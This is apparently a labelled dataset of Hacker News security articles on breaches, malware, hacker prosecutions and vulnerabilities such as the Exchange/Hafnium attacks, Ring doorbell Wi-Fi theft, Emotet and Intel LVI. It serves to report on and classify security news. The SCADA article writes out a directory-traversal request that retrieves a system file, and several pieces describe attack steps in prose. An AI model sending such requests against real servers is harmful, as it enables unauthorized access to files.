Not much is known about the identities of the attackers, except that Microsoft has primarily attributed the exploits with high confidence to a group it calls Hafnium, a skilled government-backed group operating out of China. Mandiant is tracking the intrusion activity in three clusters, UNC2639, UNC2640, and UNC2643, adding it expects the number to increase as more attacks are detected.
In a statement to Reuters, a Chinese government spokesman denied the country was behind the intrusions.
""There are at least five different clusters of activity that appear to be exploiting the vulnerabilities,"" said Katie Nickels, director of threat intelligence at Red Canary, while noting the differences in the techniques and infrastructure from that of the Hafnium actor.
In one particular instance, the cybersecurity firm observed that some of the customers compromised Exchange servers had been deployed with a crypto-mining software called DLTminer, a malware documented by Carbon Black in 2019.
""One possibility is that Hafnium adversaries shared or sold exploit code, resulting in other groups being able to exploit these vulnerabilities,"" Nickels said. ""Another is that adversaries could have reverse engineered the patches released by Microsoft to independently figure out how to exploit the vulnerabilities.""
Microsoft Issues Mitigation Guidance
Aside from rolling out fixes, Microsoft has published new alternative mitigation guidance to help Exchange customers who need more time to patch their deployments, in addition to pushing out a new update for the Microsoft Safety Scanner (MSERT) tool to detect web shells and releasing a script for checking HAFNIUM indicators of compromise. They can be found here.
""These vulnerabilities are significant and need to be taken seriously,"" Mat Gangwer, senior director of managed threat response at Sophos said. ""They allow attackers to remotely execute commands on these servers without the need for credentials, and any threat actor could potentially abuse them.""
""The broad installation of Exchange and its exposure to the internet mean that many organizations running an on-premises Exchange server could be at risk,"" Gangwer added.

",Cyber_Attack
Amazon's Ring Video Doorbell Lets Attackers Steal Your Wi-Fi Password,https://thehackernews.com/2019/11/ring-doorbell-wifi-password.html,"Security researchers at Bitdefender have discovered a high-severity security vulnerability in Amazon's Ring Video Doorbell Pro devices that could allow nearby attackers to steal your WiFi password and launch a variety of cyberattacks using MitM against other devices connected to the same network.

In case you don't own one of these, Amazon's Ring Video Doorbell is a smart wireless home security doorbell camera that lets you see, hear and speak to anyone on your property from anywhere in the World.

The smart doorbell needs to be connected to your WiFi network, allowing you to remotely access the device from a smartphone app to perform all tasks wirelessly.

While setting up the device for the very first time and share your WiFi password with it, you need to enable the configuration mode from the doorbell.

Entering into the configuration mode turns on a built-in, unprotected wireless access point, allowing the RING smartphone app installed on your device to automatically connect to the doorbell.

However, researchers told The Hacker News that besides using an access point with no password, the initial communication between the Ring app and the doorbell, i.e., when you share your home's WiFi password with the doorbell, is performed insecurely through plain HTTP.



Thus, a nearby attacker can simply connect to the same unprotected wireless access point, while the setup in the process, and steal your WiFi password using a man-in-the-middle attack.

Since this attack can only be performed during the ""one-time initial configuration"" of the device, you might be wondering how an attacker can leverage this loophole after the device has already been configured.

Researchers suggested that by continuously sending de-authentication messages to the device, an attacker can trick the user into believing that the device is malfunctioning, forcing him to re-configure it.

""Attackers can trigger the reconfiguration of the Ring Video Doorbell Pro. One way to do this is to continuously send deauthentication packets, so that the device is dropped from the wireless network. At this point, the App loses connectivity and tells the user to reconfigure the device,"" the researchers told The Hacker News.

""The live view button becomes greyed out and, when clicked, the app will suggest restarting the router or pressing the setup button twice on the doorbell. Pressing the button twice will trigger the device to try to reconnect to the network – an action that will fail. The last resort is to try and reconfigure the device,"" Bitdefender said in a blog post.

Once the owner enters into the configuration mode to re-share WiFi credentials, the attacker sniffing the traffic would capture the password in plaintext, as shown in the screenshot.

Once in possession of a user's WiFi password, an attacker can launch various network-based attacks, including:

Interact with all devices within the household network;
Intercept network traffic and run man-in-the-middle attacks
Access all local storage (NAS, for example) and subsequently access private photos, videos and other types of information,
Exploit all vulnerabilities existing in the devices connected to the local network and get full access to each device; that may lead to reading emails and private conversations,
Get access to security cameras and steal video recordings.

Bitdefender discovered this vulnerability in Ring Video Doorbell Pro devices in June this year and responsibly reported it to Amazon, but got no update from the company.


When requested for an update in late July, the vendor closed the vulnerability report in August and marked it as a duplicate without saying whether a third party already reported this issue.

However, after some communication with the vendor, an automatic fix for the vulnerability was partially issued on 5th September.

""However, to be on the safe side Ring Video Doorbell Pro users should make sure they have the latest update installed. If so, they're safe.""

""Customer trust is important to us and we take the security of our devices seriously. We rolled out an automatic security update addressing the issue, and it's since been patched,"" a spokesperson for the Ring told The Hacker News.

A similar security vulnerability was discovered and patched in the Ring Video Doorbell devices in early 2016 that was also exposing the owner's WiFi network password to attackers.

",Vulnerability
"Pirate Bay co-founder Gottfrid Svartholm, aka Anakata, Released from Prison",https://thehackernews.com/2015/09/pirate-bay-gottfrid.html,"Gottfrid Svartholm Warg, the co-founder of the notorious file-sharing website The Pirate Bay, has been released from a Sweden prison following three years behind bars for hacking and copyright offenses.

Yes, Svartholm Warg, also known as Anakata, is a free man again.

Svartholm was convicted on both Swedish copyright offences and Danish hacking conspiracy connected to The Pirate Bay.

The news comes just a few months after the third and last founder of Pirate Bay Fredrik Neij (also known as TiAMO) was released from a Swedish prison after serving his 10-month prison sentence.

Svartholm has not yet made any public statements following his release from a Swedish prison on Saturday. His release was reported by Swedish newspaper Dagens Nyheter.

However, the release was confirmed by Warg's mother Kristina Svartholm on Twitter.
""Yes, #anakata is free now. No more need to call for #freeanakata. Thank you everyone for your important support during these three years!""
Svartholm was arrested in his Cambodian apartment in September 2012, and extradited to Sweden in November 2013, where he served charges for copyright theft. In November 2013, he was finally extradited to Denmark to face charges in the CSC hacking cases.

Once the world's most popular file-sharing website, The Pirate Bay predominantly used to share copyrighted material, such as pirated software, video files and other stuff, free of charge.

Despite the criminal convictions and numerous takedowns in police raids, the Pirate Bay continues to operate, although it has moved to different Web domains several times.

",Cyber_Attack
SEC Discloses Hackers Broke Into Edgar Corporate Filing System Last Year,https://thehackernews.com/2017/09/sec-corporate-filing-hack.html,"This month has been full of breaches.

Now, the Securities and Exchange Commission (SEC), the top U.S. markets regulator, has disclosed that hackers managed to hack into its financial document filing system and may have illegally profited from the stolen information.

On Wednesday, the SEC announced that its officials learnt last month that a previously detected 2016 cyber attack, which exploited a ""software vulnerability"" in the online EDGAR public-company filing system, may have ""provided the basis for illicit gain through trading.""

EDGAR, short for Electronic Data Gathering, Analysis, and Retrieval, is an online filing system where companies submit their financial filings, which processes around 1.7 million electronic filings a year.

The database lists millions of filings on corporate disclosures—ranging from quarterly earnings to sensitive and confidential information on mergers and acquisitions, which could be used for insider-trading or manipulating U.S. equity markets.

The hackers exploited the flaw last year in the EDGAR system, which was ""patched promptly"" after its discovery, to gain access to its corporate disclosure database and stole nonpublic information, SEC chairman Jay Clayton said in a long statement on Wednesday evening.
""Notwithstanding our efforts to protect our systems and manage cybersecurity risk, in certain cases cyber threat actors have managed to access or misuse our systems,"" Clayton said.
""We believe the intrusion did not result in unauthorized access to personally identifiable information, jeopardize the operations of the Commission, or result in systemic risk.""
Clayton further said the SEC is currently investigating the incident and is cooperating with law enforcement authorities.

Besides this, SEC officials are also looking at cases of individuals who they believe placed false SEC filings on their EDGAR system in order to profit from the ""resulting market movements.""

The SEC's disclosure comes two weeks after credit-reporting firm Equifax announced the company had been a victim of a hack that resulted in the theft of personal data on over 143 million Americans.

Such incidents raise concerns about the security policies of these companies.

As Reuters reported, months after the 2016 breach was detected, Government Accountability Office found that the SEC did not always use encryption, used unsupported software, and failed to implement well-tuned firewalls and other key security features while going about its business.

",Cyber_Attack
"Alexa, Are You Spying On Me? Not Really, Maybe, It's Complex!",https://thehackernews.com/2017/08/hacking-amazon-echo-spying.html,"Do you own an Amazon Echo?

So are you also worried about hackers turning out your device into a covert listening device?

Just relax, if there's no NSA, no CIA or none of your above-skilled friends after you.

Since yesterday there have been several reports on Amazon Echo hack that could allow a hacker to turn your smart speaker into a covert listening device, but users don't need to worry because the hack is not simple, requires physical access to the device and does not work on all devices, as well.

Amazon Echo is an always-listening voice-activated smart home speaker that is designed to play music, set alarms, answer questions via the Alexa voice assistant, and control connected smart home devices like WeMo, Hive and Nest.

Hack Turns Amazon Echo Into Spying Device (But It's Complex)

Now researchers from MWR InfoSecurity have demonstrated a hack, showing how hackers can exploit a vulnerability in some models of Amazon Echo to turn them into covert listening devices that can secretly record your most intimate moments.

But the hack is not simple and has some significant limitations:
The first major limitation of the Amazon Echo hack is that it does involve the hacker being able to gain physical access to the device, though, according to researchers, it is possible to tamper with the Echo without leaving any traces behind.
The second limitation is that the Amazon Echo hack works only against older models, as the vulnerability discovered by MWR researchers only affects the 2015 and 2016 versions of the AI-powered speaker.
Another major limitation to carry out this hack is that the attacker should be above average skills in Linux as well as embedded hardware systems.

In short, it is a very sophisticated hack that first requires James Bond to bypass all CCTV cameras, if you have, to stealthily gain physical access to your premises, and then at least 30 minutes spare time with the Amazon Echo to install the malware without leaving any traces of tampering.

In another scenario, as described by the researchers, your house cleaner or maid who has access to your device could also perform this attack, so the researchers dubbed the attack as ""evil maid.""

However, the 'evil maid' attack is not as impressive as it sounds because in such highly targeted scenario one can simply implant bugging devices with less effort, knowledge and time.

Hacking Amazon Echo: How It Works?
In order to carry out the evil maid hack, MWR Labs security researcher Mark Barnes first removed the Echo's rubber base on the bottom, which allowed them to access 18 debug ""pads"" Amazon engineers rely on to carry out various diagnostics.

Barnes then directly booted into the actual firmware of the device via an external SD card. From there, he was able to install persistent malware without leaving any physical traces of tampering with the device.

The malware then allowed the researcher to gain remote root shell access of the device, and ultimately access to the 'always listening' microphones.
""Once we'd root we examined the processes running on the device and the scripts that spawn these processes,"" Barnes wrote. ""We were able to understand how audio media is being passed and buffered between processes and the tools that are used to create and interact with these audio buffers.""
Barnes said his team then developed scripts that leveraged tools embedded on the Amazon Echo to continuously stream the raw microphone audio over TCP/IP to a remote server without affecting the actual functionality of the device itself.

This eventually means that hackers, at least theoretically, can covertly monitor and listen in on users conversations and steal private data without their permission or even realisation.
""The rooting of the Amazon Echo device in itself was trivial; however, it raises a number of important questions for manufacturers of Internet enabled or 'Smart Home' devices,"" Barnes added.
The researcher warned users from buying smart speakers from third-party retailers, along with advising them to push the Echo's mute button to disable the microphone physically.

In response to the MWR's findings, Amazon released a statement saying the best way for users to protect themselves from such tamperings is always to buy the Echo from the company directly.
""Customer trust is very important to us. To help ensure the latest safeguards are in place, as a general rule, we recommend customers purchase Amazon devices from Amazon or a trusted retailer and that they keep their software up-to-date,"" the company said.
Users owning 2017 models of the device are not affected by this latest hack, as the new models introduced a mitigation that joins two of the crucial debugging pads in a way that prevents the device from external booting.

",Malware
Three Chinese Hackers Fined $9 Million for Stealing Trade Secrets,https://thehackernews.com/2017/05/chinese-hacker-trade-secrets.html,"Hackers won't be spared.

Three Chinese hackers have been ordered to pay $8.8 million (£6.8 million) after hacking email servers of two major New York-based law firms to steal corporate merger plans in December 2016 and used them to trade stocks.

The U.S. District Judge Valerie Caproni in Manhattan sued 26-year-old Iat Hong, 30-year-old Bo Zheng, and 50-year-old Hung Chin, over a multi-million dollar insider trading scam.

According to BBC News, the U.S. Securities Exchange Commission (SEC) alleged the three hackers targeted 7 different law firms, but managed to installed malware on networks belonging to two law firms only, then compromised their IT admin accounts that gave the trio access to every email account at the firms.

Access to the email and web servers allowed them to gain information on planned business mergers and/or acquisitions. The trio then used this information to buy company stock before the deal, and then sell it after the public announcement of the merger or acquisition.

The hackers made more than $4 Million in illegal profits and could face at least decades-long prison sentences if found guilty.
""The trio then bought shares in listed companies ahead of announcements about their merger plans – something that often causes the stock to jump,"" BBC says.
""The counts against them include conspiracy to commit securities fraud, conspiracy to commit wire fraud, wire fraud, conspiracy to commit computer intrusion, unlawful access, and intentional damage.""
All the three hackers were charged in December 2016 both by the Securities and Exchange Commission (SEC), and the Department of Justice (DoJ). However, neither of them identified the affected law firms.

Mr. Hong has been ordered to pay $1.8 Million, Mr. Zheng to pay $1.9 Million, and Mr. Chin to pay $4 Million. Any United States assets they own will also be seized.

For now, only Hong, who was arrested in last December in Hong Kong, is in custody and yet to be extradited to the United States, while other two cyber criminals are on the run.

",Cyber_Attack
Zero-Day Warning! Ransomware targets Microsoft Office 365 Users,https://thehackernews.com/2016/06/ransomware-msoffice.html,"If just relying on the security tools of Microsoft Office 365 can protect you from cyber attacks, you are wrong.

Variants of Cerber Ransomware are now targeting MS Office 365 email users with a massive zero-day attack that has the ability to bypass Office 365's built-in security tools.

According to a report published by cloud security provider Avanan, the massive zero-day Cerber ransomware attack targeted Microsoft Office 365 users with spam or phishing emails carrying malicious file attachments.

The Cerber ransomware is invoked via Macros. Yes, it's hard to believe but even in 2016, a single MS Office document could compromise your system by enabling 'Macros'.

Locky and Dridex ransomware malware also made use of the malicious Macros to hijack systems. Over $22 Million were pilfered from the UK banks with the Dridex Malware that got triggered via a nasty macro virus.

You can see a screenshot of the malicious document in the latest malware campaign below, targeting Microsoft Office 365 users:
While the security firm did not specify the exact number of users possibly hit by the ransomware, Microsoft reported in its first quarter 2016 that there are almost 18.2 Million Office 365 subscribers.
""While difficult to precisely measure how many users got infected,"" Avanan estimated that ""roughly 57 percent of organizations using Office 365 received at least one copy of the malware into one of their corporate mailboxes during the time of the attack.""
Although Cerber originally emerged in March, the malware campaign targeting Office 365 users began on June 22. However, Microsoft started blocking the malicious file attachment on June 23.

The Cerber Ransomware not only encrypts user files and displays a ransom note, but also takes over the user's audio system to read out its ransom note informing them that their files were encrypted.

The ransomware encrypts files with AES-256 encryption, asking victims to pay 1.24 Bitcoin (nearly US$810) for the decryption key.

How to Protect Yourself from Cerber Ransomware

In order to prevent yourself from the Cerber or any ransomware attack:
Always keep your system and antivirus up-to-date.
Regularly backup your files in an external hard-drive.
Disable Macros in your MS Office programs.
Always beware of phishing emails, spams, and clicking the malicious attachment.
You can also use an Intrusion detection system (IDS), for which you can try AlienVault Unified Security Management (USM) that includes an inbuilt IDS with SIEM and real-time threat intelligence to help you quickly detect malware and other threats in your network.
We have also written a step-by-step tutorial article on How to Protect your Computer from Macro-based Malware, which you can follow to secure yourself.

",Malware
Power Plants Are Vulnerable To Hackers with Siemens flaw,https://thehackernews.com/2012/08/power-plants-are-vulnerable-to-hackers.html,"The U.S. Department of Homeland Security has issued an alert warning that hackers could exploit code in Siemens-owned technology to attack power plants and other national critical infrastructure.


Justin W. Clarke, an expert in securing industrial control systems, disclosed at a conference in Los Angeles on Friday that he had figured out a way to spy on traffic moving through networking equipment manufactured by Siemens' RuggedCom division.

RuggedCom, a Canadian subsidiary of Siemens that sells networking equipment for use in harsh environments such as areas with extreme weather, said it was investigating Clarke's findings, but declined to elaborate. Clarke said that the discovery of the flaw is disturbing because hackers who can spy on communications of infrastructure operators could gain credentials to access computer systems that control power plants and other critical systems.

According to security researcher Justin W. Clarke, Rugged OS contains the same private key used to decrypt secure-sockets-layer communications sent by administrators who log into the devices. This allows attackers who may have compromised a host on the network to eavesdrop on sessions and retrieve user login credentials and other sensitive details.

Plenty of small and home office routers also contain private SSL keys. What's different here is that RuggedCom devices, which are designed to withstand extreme dust, heat, and other harsh conditions, are connected to machinery that controls electrical substations, traffic control systems, and other critical infrastructure.

This is the second bug that Clarke, a high school graduate who never attended college, has discovered in products from RuggedCom, which are widely used by power companies that rely on its equipment to support communications to remote power stations.

Although there have been no publicly reported cases of damage caused by cyber-attacks on US critical infrastructure, the issue is a growing problem.

Countries around the world have been alerted to the threat after revelations that the Stuxnet virus had targeted a uranium enrichment facility in Iran.Earlier this month security firms reported another type of malware - dubbed Shamoon had struck ""at least one organisation"" in the energy sector.

",Vulnerability
European Authorities Disrupt Emotet — World's Most Dangerous Malware,https://thehackernews.com/2021/01/european-authorities-disrupt-emotet.html,"Law enforcement agencies from as many as eight countries dismantled the infrastructure of Emotet, a notorious email-based Windows malware behind several botnet-driven spam campaigns and ransomware attacks over the past decade.
The coordinated takedown of the botnet on Tuesday — dubbed ""Operation Ladybird"" — is the result of a joint effort between authorities in the Netherlands, Germany, the U.S., the U.K., France, Lithuania, Canada, and Ukraine to take control of servers used to run and maintain the malware network.
""The Emotet infrastructure essentially acted as a primary door opener for computer systems on a global scale,"" Europol said. ""What made Emotet so dangerous is that the malware was offered for hire to other cybercriminals to install other types of malware, such as banking Trojans or ransomware, onto a victim's computer.""
More Than a Malware
Since its first identification in 2014, Emotet has evolved from its initial roots as a credential stealer and banking Trojan to a powerful ""Swiss Army knife"" that can serve as a downloader, information stealer, and spambot depending on how it's deployed.
Known for being constantly under development, the cybercrime service updates itself regularly to improve stealthiness, persistence, and add new spying capabilities through a wide range of modules, including a Wi-Fi spreader that was recently added to identify and compromise fresh victims connected to nearby Wi-Fi networks.
Last year, the malware was linked to several botnet-driven spam campaigns and even capable of delivering more dangerous payloads such as TrickBot and Ryuk ransomware by renting its botnet of compromised machines to other malware groups.
""The Emotet group managed to take e-mail as an attack vector to a next level,"" Europol said.
700 Emotet Servers Seized
The U.K.'s National Crime Agency (NCA) said the operation took nearly two years to map the infrastructure of Emotet, with multiple properties in the Ukrainian city of Kharkiv raided to confiscate computer equipment used by the hackers.
The Ukrainian Cyberpolice Department also arrested two individuals allegedly involved in the botnet's infrastructure maintenance, both of whom are facing 12 years in prison if found guilty.
""Analysis of accounts used by the group behind Emotet showed $10.5 million being moved over a two-year period on just one Virtual Currency platform,"" the NCA said, adding ""almost $500,000 had been spent by the group over the same period to maintain its criminal infrastructure.""
Globally, Emotet-linked damages are said to have cost about $2.5 billion, Ukrainian authorities said.
With at least 700 servers operated by Emotet across the world now having been taken down from the inside, machines infected by the malware are set to be directed to this law enforcement-infrastructure, thus preventing further exploitation.
In addition, the Dutch National Police has released a tool to check for potential compromise, based on a dataset containing 600,000 e-mail addresses, usernames, and passwords that were identified during the operation.
Emotet to Be Wiped En Masse on April 25, 2021
The Dutch police, which seized two central servers located in the country, said it has deployed a software update to neutralize the threat posed by Emotet effectively.
""All infected computer systems will automatically retrieve the update there, after which the Emotet infection will be quarantined,"" the agency said. According to a tweet from a security researcher who goes by the Twitter handle milkream, Emotet is expected to be wiped on April 25, 2021, at 12:00 local time from all compromised machines.
Corroborating the findings, Malwarebytes researchers said the payload to remove the malware (""EmotetLoader.dll"") will be pushed via the same channels that were used to distribute the original Emotet, with the uninstaller deleting the service associated with the malware and its autorun Registry key.
The April deadline also means that the update doesn't entirely prevent Emotet (""X.dll"") from being installed on a system. But with the command-and-control servers now sinkholed and under law enforcement's control, the malware will be stymied in its efforts to download further modules onto the infected host.
""The lengthy delay for the cleanup routine to activate may be explained by the need to give system administrators time for forensics analysis and checking for other infections,"" Malwarebytes' Threat Intelligence Team said.
Given the nature of the takedown operation, it remains to be seen if Emotet can stage a comeback. If it does, it wouldn't be the first time a botnet survived major disruption efforts.
As of writing, Abuse.ch's Feodo Tracker shows at least 20 Emotet servers are still online.
""A combination of both updated cybersecurity tools (antivirus and operating systems) and cybersecurity awareness is essential to avoid falling victim to sophisticated botnets like Emotet,"" Europol cautioned.
""Users should carefully check their e-mail and avoid opening messages and especially attachments from unknown senders. If a message seems too good to be true, it likely is and e-mails that implore a sense of urgency should be avoided at all costs.""

",Malware
LinkedIn Clickjacking vulnerability tricks users to spam links,https://thehackernews.com/2013/07/hacking-linkedin-account-vulnerability_13.html,"A Clickjacking vulnerability existed on LinkedIn that allowed an attacker to trick users for sharing and posting links on behalf of victim.

Narendra Bhati(R00t Sh3ll), Security Analyst at Cyber Octet informed us about LinkedIn Bug. Clickjacking, also referred as ""User Interface redress attack"" is one type of website hacking technique where an attack tricks a web user into clicking a button, a link or a picture, etc. that the web user did not intend to click, typically by overlaying the web page with an iframe.

Flaw allows attacker to open LinkedIn page https://www.linkedin.com/shareArticle? , used to share links and articles summary, in a hidden iframe.

Proof of Concept:
1.) Semi Transparent Iframe Layers :





2.) Fully activated page with zero Transparency ifarme:

Video Demonstration:
Many countermeasures have been described that help web users protect against clickjacking attacks. X-FRAME-OPTIONS is a browser-based defense method. In order to bring the X-FRAME-OPTIONS protection into effect, LinkedIn should send a HTTP header named X-FRAME-OPTIONs on HTML responses.

",Vulnerability
Facebook Introduces Anonymous Login to Limit Third-party App Permissions,https://thehackernews.com/2014/05/facebook-anonymous-login-third-party-apps.html,"We're comfortable in sharing information with our Facebook friends, but it is quite sneaky for Facebook users to offer their Identities and credentials when logging in to third-party apps, they don't trust. To deal with this issue, the social network giant has plans to improve the way users login to the third party apps with more privacy controls on the web as well as mobile devices.

ANONYMOUS LOGIN
At Facebook's F8 developer conference in San Francisco on Wednesday, Keynote speaker - Chief Executive Mark Zuckerberg announced the new Facebook's login tool, ""Anonymous Login"" that would let users sign into apps and websites anonymously without sharing their personal information-Biggest news for Facebook users.

""Today, we want to do more to put control and power back into people's hands,"" Zuckerberg said at the conference. ""Up until now, your friends have been able to share your data via using apps. Now we're changing this, so everybody controls how their data is shared with apps, even ones others are using.""

USERS' TOTAL CONTROL OVER APP PERMISSIONS
Another new feature Facebook is rolling out in the next few months will also gives you total control over exactly what information you would like to share with the individual third-party app. Facebook is also planning to limit the ability of third-party app to read the content shared between the users and their friends.

This new privacy feature will let user options to permit whether third-party apps will be able to access their information when their friend logs in with Facebook or not.

""With the new Login, I can sign in on my own terms. I can uncheck boxes I don't want to share. We've heard very clearly about how you want more control with how you're sharing with apps, and this new Login gives you that control.""
Once users have decided an Facebook app is trustworthy, they can connect it to their profile and allow, say, the posting of automatic status updates, or access other parts of an account.

In addition to the Anonymous Login and better controls over app permissions, Facebook is also going to redesign its app permissions dashboard, making it much easier for its users to edit what permissions they have granted to their apps.

""At Facebook, we serve a lot of groups, including developers, advertisers, and employees—but the most important group we serve is the people who use our products,"" Zuckerberg said. ""And we must always put those people first. People want more control over how they share their information, especially with apps, and they want more control how apps share their data.""
PLANS FOR ADVERTISERS & APP DEVELOPERS
Addressing the developers, Mark Zuckerberg said the tool would let Facebook users feel free and more comfortable about signing into more apps using Facebook and moreover this new feature will let more and more people to try out new apps.

""By giving people more power and control, they're going to trust all the apps that we build more, and over time use them more. And that's positive for everyone,"" said Zuckerberg.

For advertisers and app makers, the company has also announced a new mobile AD Product dubbed as ""Facebook Audience Network,"" that will leverage app developers to insert ads from Facebook's more than 1 million advertisers into their own apps and then split the revenue, which is now open for registration.

For the rest of Facebook's developer audience, the social network promised not to break things anymore, a dramatic switch in its founding motto of ""Move fast and break things.""

This new move of the popular Internet giant is a conscious effort to get users more comfortable with sharing their information during a time when privacy concerns and security breaches abound and it shows Facebook cares about your privacy.

The engineers at Facebook are testing the Anonymous Login with a few developers for now, and after the testing period it will widely available to all developers ""in the coming months.""

",Data_Breaches
Hacker Arrested after Exposing Flaws in Elections Site,https://thehackernews.com/2016/05/hack-an-election.html,"A security researcher responsibly disclosed vulnerabilities in the poorly secured web domains of a Florida county elections, but he ended up in handcuffs on criminal hacking charges and jailed for six hours Wednesday.

Security researcher David Michael Levin, 31, of Estero, Florida was charged with three counts of gaining unauthorized access to a computer, network, or electronic instrument.

On 19 December last year, Levin tested the security of Lee County website and found a critical SQL injection vulnerability in it, which allowed him to access site's database, including username and password.

Levin was reportedly using a free SQL testing software called Havij for testing SQL vulnerabilities on the state elections website.

According to Levin, he responsibly reported vulnerabilities to the respective authorities and helped them to patch all loopholes in the elections website.

Video Demonstration of the Elections Website Hack
Meanwhile, Levin demonstrates his finding via an interview, but he published that video interview on YouTube in late January when authorities had already patched the reported flaws.

Levin recorded the video together with Dan Sinclair, detailing how a simple SQL injection launched against the election website led to the theft of data from the Elections' database that had no encryption at all.

As proof of concept, Levin showed him entering the username and password of Sharon Harrington, the county's Supervisor of Elections, that allowed him to gain control of a content management system (CMS) used to control the official website of Florida's Office of Elections.

However, this video was misunderstood and used as an evidence by the Florida Department of Law Enforcement officials to backfire Levin.

Almost two weeks after the video was posted on YouTube, Florida police raided Levin's house and seized his computers.

Levin was arrested and charged with allegedly breaking into a couple of elections websites in Florida. He spent six hours in jail last Wednesday before being released on a $15,000 bond, the Florida Department of Law Enforcement officials said.

Though Florida Police claimed Levin never asked for permission prior to performing his penetration testing on any state-owned server, Sinclair said that Levin was the one who helped the authority fix the security holes in the website.
""He took usernames and passwords from the Lee County website and gained further access to areas that were password-protected,"" FDLE Special Agent Larry Long told the Herald Times. ""The state statute is pretty clear. You need to have authorization before you can do that.""
However, Sinclair reached out to The Hacker News, revealing that Mr. Levin contacted the authorities while performing his research.
""The FDLE came to Dave, and then to me about the case,"" Sinclair said. ""We believed they were investigating the holes in the servers and the Gross Negligence. We both gave them the only information they have now that is accurate. While interviewing me, and Agent Chris Tissot kept cutting me off when I answered his questions.""
""I quickly realized Tissot was not investigating any of the claims. His sole goal was to find an obscure law they could hit Dave with, to discredit the information Dave went public with (after he helped them fix the holes).""
At this point it seems that federal agents are not adequately investigating the matter, rather they are trying to prove Levin culprit in this whole event.

",Vulnerability
0-Day SCADA Exploits Publicly Exposed by Italian researchers,https://thehackernews.com/2011/09/0-day-scada-exploits-publicly-exposed.html,"0-Day SCADA Exploits Publicly Exposed by Italian researchers
An Italian researcher has uncovered at least a dozen security flaws in software used in utilities and other critical infrastructure systems, prompting security advisories from the U.S. government. Security researcher Luigi Auriemma disclosed the attacks against six SCADA (Supervisory Control and Data Acquisition) systems including US giant Rockwell Automation.The step-by-step exploits allowed attackers to execute full remote compromises and denial of service attacks.Some of the affected SCADA systems were used in power, water and waste distribution and agriculture.Such zero-day information disclosure was generally frowned upon in the information security industry because it exposed customers to attack while published vulnerabilities remained unpatched.Attacks against SCADA systems were particularly controversial because exploits could affect a host of machinery from lift control mechanisms to power plants.

The advisories published by Luigi include short write-ups on each of the vulnerabilities, as well as proof-of-concept exploit code and examples. The affected products include those from Cogent, DAQFactory, Progea, Carel, and Rockwell, all of which fall under the general umbrella definition of SCADA.While some of the exploits include more advanced exploits, like heap and buffer overflows, some are simple Web directory traversal flaws requiring nothing more than a Web browser to exploit. An attacker can make a request like https://SERVER/..\..\..\..\..\..\boot.ini to the vulnerable Web server and retrieve files outside of the root directory of the Web server. In this example, the attacker can download the Windows boot.ini, which in and of itself is not a big concern, but does serve as good proof of the validity of the vulnerability and shows the ease in which the vulnerability can be exploited.

Starting at the top of the list of advisories on Luigi's site, I didn't have much luck finding servers using search strings based on product and company name. There were a few false positives, a few interesting telnet servers, but nothing of interest until I got to the Carel PlantVisor. There were 290 hits, and based on the server strings that identified the version (i.e., CarelDataServer 2.3.0.0, 2.2.0.0, 1.5.1.0), every single one is vulnerable. Additionally, a cursory glance at the SessionID for the Carel servers in the search results made me think it also suffers from a lack of entropy that could lead to easy session ID hijacking.

All of the vulnerabilities disclosed by Auriemma exist in the so-called Human Machine Interface (HMI) systems used to manage industrial control systems, said Joseph Weiss, managing partner at Applied Control Systems LLC and author of the book Protecting Industrial Control Systems from Electronic Threat.

""Vulnerabilities in HMI systems are not novel,"" but they should not be minimized, he said. Such vulnerabilities can be used to get at the downstream control system, he said. ""You can use the HMI to get to the control device and you can use the control device to get to the HMI,"" he said. Without further analysis, it is too soon to say whether the flaws discovered by Auriemma are really critical or not, he said. A lot depends on the kind of applications for which the affected systems are used, he said. ""Rockwell is a major manufacturer. They make a lot of systems, some of which are used in really critical applications,"" he added. There's no reason critical systems such as these should be exposed to the public.

",Vulnerability
LVI Attacks: New Intel CPU Vulnerability Puts Data Centers At Risk,https://thehackernews.com/2020/03/intel-load-value-injection.html,"It appears there is no end in sight to the hardware level security vulnerabilities in Intel processors, as well as to the endless 'performance killing' patches that resolve them.

Modern Intel CPUs have now been found vulnerable to a new attack that involves reversely exploiting Meltdown-type data leak vulnerabilities to bypass existing defenses, two separate teams of researchers told The Hacker News.

Tracked as CVE-2020-0551, dubbed ""Load Value Injection in the Line Fill Buffers"" or LVI-LFB for short, the new speculative-execution attack could let a less privileged attacker steal sensitive information—encryption keys or passwords—from the protected memory and subsequently, take significant control over a targeted system.

According to experts at Bitdefender and academic researchers from a couple of universities, the new attack is particularly devastating in multi-tenant environments such as enterprise workstations or cloud servers in the datacenter.

And, that's because a less-privileged rouge tenant could exploit this issue to leak sensitive information from a more privileged user or from a different virtualized environment on top of the hypervisor.

Intel CPUs 'Load Value Injection' Vulnerability

Unlike previously disclosed Intel chipset vulnerabilities—including Meltdown, Spectre, and MDS—where an attacker speculatively accesses the memory or sniffs the data when the victim accesses it, the new LVI-LFB attack involves attacker injecting malicious data into the buffers that victim program unwillingly uses during the speculative execution.

""The attacker sprays the LFBs with the address of a malicious function, and when the victim issues an indirect branch through memory which requires a microcode assist, the address of the malicious function is loaded from the LFBs, thus leading to the attacker function being speculatively executed,"" Bitdefender researchers told The Hacker News.

Though the latest flaw is a new variant of MDS attacks, it can't be mitigated with existing patches for previously disclosed Meltdown, Foreshadow, ZombieLoad, RIDL, or Fallout speculative-execution attacks.


""It combines Spectre-style code gadgets in the victim application with Meltdown-type illegal data flow from faulting or assisted memory load instructions to bypass existing defenses and inject attacker-controlled data into a victim's transient execution,"" the researcher Jo Van Bulck and his team said in a detailed paper.


As illustrated in the image above, the LVI attack can be executed in 4 simple steps:

Poison a hidden processor buffer with attacker values,
Induce faulting or assisted load in the victim program,
The attacker's value is transiently injected into code gadgets following the faulting load in the victim program,
Side channels may leave secret-dependent traces before the processor detects the mistake and rolls back all operations.

In other words, when the victim actively tries to execute some code, the attacker can actively fill the MDS buffers with carefully chosen values to influence the execution of the victim's thread.

PoC Exploit Demo and Security Patches

According to the researchers, there are several possible scenarios to exploit the LVI-LFB based control flow hijacking attack, such as: influencing an address that is accessed, the offset within an accessed buffer, the result of a conditional branch, or affecting the destination of an indirect branch.

""LVI based control flow hijacking allows an attacker to trick the victim into speculatively executing a function of his choosing. This works, theoretically, across all security boundaries: process to process, user-mode to kernel-mode, guest-mode to root-mode, and perhaps even user-mode to enclave,"" Bitdefender researchers said.

Both teams of researchers have also developed proof-of-concept exploits, one of which could let attackers compromise the security of Intel SGX enclaves is now available on GitHub.


Though researchers haven't tested AMD or ARM processors, they hinted ""in principle, any processor that is vulnerable to Meltdown-type data leakage would also be vulnerable to LVI-style data injection.""

